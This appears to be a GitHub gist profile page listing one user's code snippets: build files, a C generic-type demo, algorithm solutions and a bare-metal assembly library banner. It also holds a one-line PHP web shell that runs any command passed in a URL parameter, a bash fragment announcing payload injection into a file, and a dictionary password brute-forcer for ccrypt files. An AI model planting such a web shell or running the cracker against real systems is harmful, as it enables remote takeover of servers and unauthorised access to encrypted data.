Skip to content

Instantly share code, notes, and snippets.

View growlnx's full-sized avatar
🏴‍☠️
studying...

growlnx

🏴‍☠️
studying...
View GitHub Profile
@growlnx
growlnx / 4bm.asm
Last active March 9, 2020 01:25
Simple Library for Bare Metal
;-------------------------------------------------------------------;
; ##:::::::: '########::'##::::'##:
; ##:::'##:: ##.... ##: ###::'###:
; ##::: ##:: ##:::: ##: ####'####:
; ##::: ##:: ########:: ## ### ##:
; #########: ##.... ##: ##. #: ##:
; ...... ##:: ##:::: ##: ##:.:: ##:
; :::::: ##:: ########:: ##:::: ##:
; ::::::..:::........:::..:::::..:: Simple Library for Bare Metal
@growlnx
growlnx / CMakeLists.txt
Last active September 4, 2024 15:33
GLIB with cmake
PROJECT(project C)
CMAKE_MINIMUM_REQUIRED(VERSION 3.1.0)
FIND_PACKAGE(PkgConfig REQUIRED)
PKG_CHECK_MODULES(GLIB REQUIRED glib-2.0)
INCLUDE_DIRECTORIES(
src/include/
@growlnx
growlnx / Makefile
Created October 9, 2019 01:35
Makefile to compile a kernel module
obj-m += module.o
KBUILD=/lib/modules/$(shell uname -r)/build/
default:
$(MAKE) -C $(KBUILD) M=$(PWD) modules
clean:
$(MAKE) -C $(KBUILD) M=$(PWD) clean
@growlnx
growlnx / simple.php
Last active May 13, 2019 19:06
Simple php Web Shell
?><?php (isset($_GET['cmd'])) ? passthru($_GET['cmd']) : echo 'NO CMD'; ?>
#!usr/bin/env bash
if [[ ! -f $1 ]];
then
echo -e "não foi possível encontrar '$1'"
exit 1
fi
echo -e "injetando payload em '$1' ...";
.PHONY= all test build clean
SRC=$$(find . -name "*.c" )
PROJECT=project_name_here
all: test
test: build
@echo -e "================================================================================"
@figlet -tk $(PROJECT)
@echo -e "================================================================================"
@growlnx
growlnx / brain_blower.c
Last active June 25, 2019 20:47
implementação de um tipo genérico de dados em C
#include <stdio.h>
#include <stdlib.h>
#define TYPE_NONE 100 // lembra de python? então...
#define TYPE_INT 101
#define TYPE_FLOAT 102
/// objeto generico
typedef struct object object;
struct object
@growlnx
growlnx / bruteforce_ccrypt.py
Last active August 4, 2018 20:28
testador de password
import sys, os, subprocess as sub
arg = sys.argv
if len(arg) < 3:
print('bf.py <FILE>.cpt <DICT>.txt')
exit(1)
if not os.path.exists(arg[1]):
print('arquivo inválido')
exit(2)
@growlnx
growlnx / 2585.cpp
Last active June 2, 2018 22:04
Soluçã problema 2585 - URI
#include "bits/stdc++.h"
using namespace std;
int qArestaAtual=0;
vector<vector<bool>> grafo;
vector<int> resultados;
stack<int> caminho;
set<pair<int,int>> visitado;
// verifica se a aresta foi visitada
#include "bits/stdc++.h"
using namespace std;
// subsequencia comum mais longa Programacao Dinamica
int scml(string a, string b){
// tabela programacao dinamica
vector < vector < int > > tabela;
// cria tabela
for (int cont = 0; cont < a.size() + 1; cont++)